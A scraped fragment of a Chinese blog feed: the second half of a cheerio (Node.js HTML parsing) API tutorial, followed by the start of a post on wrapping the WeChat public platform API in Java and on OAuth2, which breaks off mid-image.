#F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('#fruits'<span style="color: #000000;">).children().first().text()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; Apple</span></div><p><strong>.last()</strong></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('#fruits'<span style="color: #000000;">).children().last().text()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; Pear</span></div><p><span style="line-height: 1.5;">会选择chreeio对象的最后一个元素</span></p><p><strong>.eq(i)</strong></p><p>通过索引筛选匹配的元素。使用.eq(-i)就从最后一个元素向前数。</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('li').eq(0<span style="color: #000000;">).text()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; Apple</span><br/><span style="color: #000000;"><br/>$(</span>'li').eq(-1<span style="color: #000000;">).text()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; Pear</span></div><p><strong><span style="font-size: 1.17em; line-height: 1.5;">Manipulation</span></strong></p><p>改变DOM结构的方法</p><p><strong>.append(content,[content...])</strong></p><p>在每个元素最后插入一个子元素</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('ul').append('&lt;li class="plum"&gt;Plum&lt;/li&gt;'<span style="color: #000000;">)<br/>$.html()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;ul id="fruits"&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="apple"&gt;Apple&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="orange"&gt;Orange&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="pear"&gt;Pear&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="plum"&gt;Plum&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;/ul&gt;</span></div><p><strong><span style="line-height: 1.5;">.prepend(content,[content,...])</span></strong></p><p>在每个元素最前插入一个子元素</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('ul').prepend('&lt;li class="plum"&gt;Plum&lt;/li&gt;'<span style="color: #000000;">)<br/>$.html()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;ul id="fruits"&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="plum"&gt;Plum&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="apple"&gt;Apple&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="orange"&gt;Orange&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="pear"&gt;Pear&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;/ul&gt;</span></div><p><strong>.after(content,[content,...])</strong></p><p>在每个匹配元素之后插入一个元素</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('.apple').after('&lt;li class="plum"&gt;Plum&lt;/li&gt;'<span style="color: #000000;">)<br/>$.html()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;ul id="fruits"&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="apple"&gt;Apple&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="plum"&gt;Plum&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="orange"&gt;Orange&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="pear"&gt;Pear&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;/ul&gt;</span></div><p><strong>.before(content,[content,...])</strong></p><p>在每个匹配的元素之前插入一个元素</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('.apple').before('&lt;li class="plum"&gt;Plum&lt;/li&gt;'<span style="color: #000000;">)<br/>$.html()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;ul id="fruits"&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="plum"&gt;Plum&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="apple"&gt;Apple&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="orange"&gt;Orange&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="pear"&gt;Pear&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;/ul&gt;</span></div><p><strong>.remove( [selector] )</strong></p><p>从DOM中去除匹配的元素和它们的子元素。选择器用来筛选要删除的元素。</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('.pear'<span style="color: #000000;">).remove()<br/>$.html()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;ul id="fruits"&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="apple"&gt;Apple&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="orange"&gt;Orange&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;/ul&gt;</span></div><p><strong>.replaceWith( content )</strong></p><p>替换匹配的的元素</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #0000ff;">var</span> plum = $('&lt;li class="plum"&gt;Plum&lt;/li&gt;'<span style="color: #000000;">)<br/>$(</span>'.pear'<span style="color: #000000;">).replaceWith(plum)<br/>$.html()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;ul id="fruits"&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="apple"&gt;Apple&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="orange"&gt;Orange&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="plum"&gt;Plum&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;/ul&gt;</span></div><p><strong>.empty()</strong></p><p>清空一个元素,移除所有的子元素</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('ul'<span style="color: #000000;">).empty()<br/>$.html()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;ul id="fruits"&gt;&lt;/ul&gt;</span></div><p><strong>.html( [htmlString] )</strong></p><p>获得元素的HTML字符串。如果htmlString有内容的话,将会替代原来的HTML</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('.orange'<span style="color: #000000;">).html()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; Orange</span><br/><span style="color: #000000;"><br/>$(</span>'#fruits').html('&lt;li class="mango"&gt;Mango&lt;/li&gt;'<span style="color: #000000;">).html()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;li class="mango"&gt;Mango&lt;/li&gt;</span></div><p><strong><span style="line-height: 1.5;">.text( [textString] )</span></strong></p><p>获得元素的text内容,包括子元素。如果textString被指定的话,每个元素的text内容都会被替换。</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('.orange'<span style="color: #000000;">).text()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; Orange</span><br/><span style="color: #000000;"><br/>$(</span>'ul'<span style="color: #000000;">).text()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; Apple</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> Orange</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> Pear</span></div><p><strong>Rendering</strong></p><p>如果你想呈送document,你能使用html多效用函数。</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #000000;">$.html()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;ul id="fruits"&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="apple"&gt;Apple&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="orange"&gt;Orange&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;li class="pear"&gt;Pear&lt;/li&gt;</span><span style="color: #008000;"><br/>//</span><span style="color: #008000;"> &lt;/ul&gt;</span></div><p>如果你想呈送outerHTML,你可以使用 $.html(selector)</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$.html('.pear'<span style="color: #000000;">)<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;li class="pear"&gt;Pear&lt;/li&gt;</span></div><p><span style="line-height: 1.5;">By default, html will leave some tags open. Sometimes you may instead want to render a valid XML document. For example, you might parse the following XML snippet:</span></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$ = cheerio.load('&lt;media:thumbnail url="http://www.foo.com/keyframe.jpg" width="75" height="50" time="12:05:01.123"/&gt;');</div><p><span style="line-height: 1.5;">... and later want to render to XML. To do this, you can use the 'xml' utility function:</span></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$.xml()<span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;media:thumbnail url="http://www.foo.com/keyframe.jpg" width="75" height="50" time="12:05:01.123"/&gt;</span></div><p><strong><span style="font-size: 1.17em; line-height: 1.5;">Miscellaneous</span></strong></p><p>不属于其它地方的DOM 元素方法</p><p><strong>.toArray()</strong></p><p>取得所有的在DOM元素,转化为数组、</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$('li'<span style="color: #000000;">).toArray()<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; [ {...}, {...}, {...} ]</span></div><p><strong>.clone()</strong></p><p>克隆cheerio对象</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #0000ff;">var</span> moreFruit = $('#fruits').clone()</div><p><strong><span style="font-size: 1.17em; line-height: 1.5;">Utilities</span></strong></p><p><strong>$.root</strong></p><p>Sometimes you need to work with the top-level root element. To query it, you can use $.root().</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">$.root().append('&lt;ul id="vegetables"&gt;&lt;/ul&gt;'<span style="color: #000000;">).html();<br/></span><span style="color: #008000;">//</span><span style="color: #008000;">=&gt; &lt;ul id="fruits"&gt;...&lt;/ul&gt;&lt;ul id="vegetables"&gt;&lt;/ul&gt;</span></div><p><strong>$.contains( container, contained )</strong></p><p>查看cotained元素是否是container元素的子元素</p><p><strong>$.parseHTML( data [, context ] [, keepScripts ] )</strong></p><p>将字符串解析为DOM节点数组。context参数对chreeio没有意义,但是用来维护APi的兼容性。</p><p>&nbsp;</p><p>今天就到这里了~~有机会把前面的小程序完善成一个网页爬虫~~</p><img src="http://counter.cnblogs.com/blog/rss/3674421" width="1" height="1" alt=""/><br/><p>本文链接:<a href="http://www.cnblogs.com/CraryPrimitiveMan/p/3674421.html" target="_blank">Node.js的学习--使用cheerio抓取网页数据</a>,转载请注明。</p>http://www.cnblogs.com/Codenewbie/p/3674331.htmlJava微信公众平台接口封装源码分享 - Myna Wang前言: 这篇博客是在三月初动手项目的时候准备写的,但是为了完成项目只好拖延时间写这篇博客,顺便也可以在项目中应用我自己总结的的一些经验。今天看来,这些方法的应用还是可以的,至少实现了我之前的构想。 写本文的初意是为了让那些跟我一样对微信公众平台有长时间关注的和那些还未了解微信公众平台的Progra....2014-04-18T16:21:00Z2014-04-18T16:21:00ZMyna Wanghttp://www.cnblogs.com/Codenewbie/<div><h4 style="font-style: normal; font-variant: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; margin: 40px 0px 10px; padding: 10px 0px 10px 10px; font-family: 'Microsoft YaHei', Arial; font-size: 24px; color: #008800; border-left-color: green; border-left-style: solid; border-left-width: thick; background-color: #f5f5f5; line-height: 23px;">前言:</strong></p><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;">&nbsp;<span>&nbsp;</span><span style="font-family: Courier New;">&nbsp; &nbsp;</span><span style="font-family: 'Courier New';">这篇博客是在三月初动手项目的时候准备写的,但是为了完成项目只好拖延时间写这篇博客,顺便也可以在项目中应用我自己总结的的一些经验。今天看来,这些方法的应用还是可以的,至少实现了我之前的构想。</span></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;"><span style="font-family: Courier New;">&nbsp; &nbsp; 写本文的初意是为了让那些跟我一样对</span><span style="font-family: 'Courier New';">微信公众平台</span><span style="font-family: Courier New;">有长时间关注的和那些</span><span style="font-family: 'Courier New';">还未了解微信公众平台的</span><span style="font-family: 'Courier New';">Programer</span><span style="font-family: 'Courier New';">,分享些思路以及开发经验,希望对阅览此文的你会有所帮助。</span></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;"><span style="font-family: 'Courier New';">也希望有大神对小八哥的不妥之处进行</span><span style="font-family: 'Courier New';">指点</span><span style="font-family: Courier New;">。</span><span style="font-family: 'Courier New'; font-size: 15px;">&nbsp; &nbsp;</span></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;"><h4 style="margin: 40px 0px 10px; padding: 10px 0px 10px 10px; border-left-color: green; border-left-style: solid; border-left-width: thick; background-color: #f5f5f5; line-height: 23px; font-family: 'Microsoft YaHei', Arial; color: #008800;"><span style="font-family: 'Courier New';"><span style="color: #328712;">鸣谢</span></span><span style="font-family: 'Courier New';">:感谢以下两位大神的指点</span><a style="color: #008800; font-family: 'Courier New';" href="http://blog.csdn.net/lyq8479/article/category/1366622">http://blog.csdn.net/lyq8479</a><span style="font-family: 'Courier New';">&nbsp;以及&nbsp;</span><a style="color: #008800; font-family: 'Courier New';" href="http://www.cnblogs.com/txw1958/">http://www.cnblogs.com/txw1958</a><span style="font-family: 'Courier New';">&nbsp;</span></strong></p><h4 style="margin: 0px 0px 0px; padding: 10px 0px 10px 10px; border-left-color: green; border-left-style: solid; border-left-width: thick; background-color: #f5f5f5; line-height: 23px; font-family: 'Microsoft YaHei', Arial; color: #008800;"><span>特别鸣谢:我傻傻的女朋友,这一年没她的支持不管是生活上还是心理上<span>估计</span>我的路会走的更加吃力,欠她的时间太多情太多,只能用&ldquo;有朝一日&rdquo;来还吧!!!!!</span></strong></p></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;"><h4 style="margin: 40px 0px 10px; padding: 10px 0px 10px 10px; font-family: 'Microsoft YaHei', Arial; font-size: 24px; color: #008800; border-left-color: green; border-left-style: solid; border-left-width: thick; background-color: #f5f5f5; line-height: 23px;">前期准备:</strong></p></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;">&nbsp; &nbsp; &nbsp;<span>&nbsp;</span><span style="font-family: Courier New;">&nbsp;几个月前写过一篇公众平台基础接口调用的文章:<strong><a style="color: #328712;" href="http://www.cnblogs.com/Codenewbie/p/3360374.html"><span style="color: #328712;">http://www.cnblogs.com/Codenewbie/p/3360374.html</span></a><span style="color: #328712;">&nbsp;</span></strong></span></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;"><span style="font-family: Courier New;"><span style="color: #328712;"><strong>&nbsp; &nbsp;&nbsp;</strong></span>今天准备的是高级接口的调用方法的封装以及Oauth2高级接口的应用测试Demo,高级接口公布的一段时间内,由于对Oauth2协议的不了解,一直受困于此,因此花了一段</span><span style="font-family: 'Courier New';">比较</span><span style="font-family: 'Courier New';">长时间在研究这方面的东西,也请教了上文提到的两位大神。接下来说说我对Oauth2的理解吧:</span></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OAuth(开放授权)是一个开放标准,允许用户让第三方应用访问该用户在某一网站上存储的私密的资源(如照片,视频,联系人列表),而无需将用户名和密码提供给第三方应用。(摘自百度百科)<span style="font-family: 'Courier New';">&nbsp;&nbsp;</span></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;"><span style="font-family: Courier New;">对公众平台上的Oauth2协议的理解基本如下:</span></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/461466/201404/182329215255192.png" alt="" /></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;">&nbsp;</div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;"><span style="font-family: Courier New;">到此处为止是4月4号写的前言,下文将在此刻2014年4月18日23:01:31继续进行</span></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;">&nbsp;</div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;"><span style="font-family: Courier New;">&nbsp; &nbsp; 再叙前言:当看见别人的&ldquo;<span style="font-family: Courier New;">说</span>&rdquo;优越于自己的&ldquo;<span style="font-family: Courier New;">做</span>&rdquo;的时候请别慌,机会总会来的,这只是人生路上你的一个参考物而已,才20出头,怕啥呀,好好学就是了。@Jeff Li 相信你会看见,你懂我意思的!<br /></span></div><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;"><span style="font-family: Courier New;"><img style="display: block; margin-left: auto; margin-right: auto;" src="data:image/png;base64,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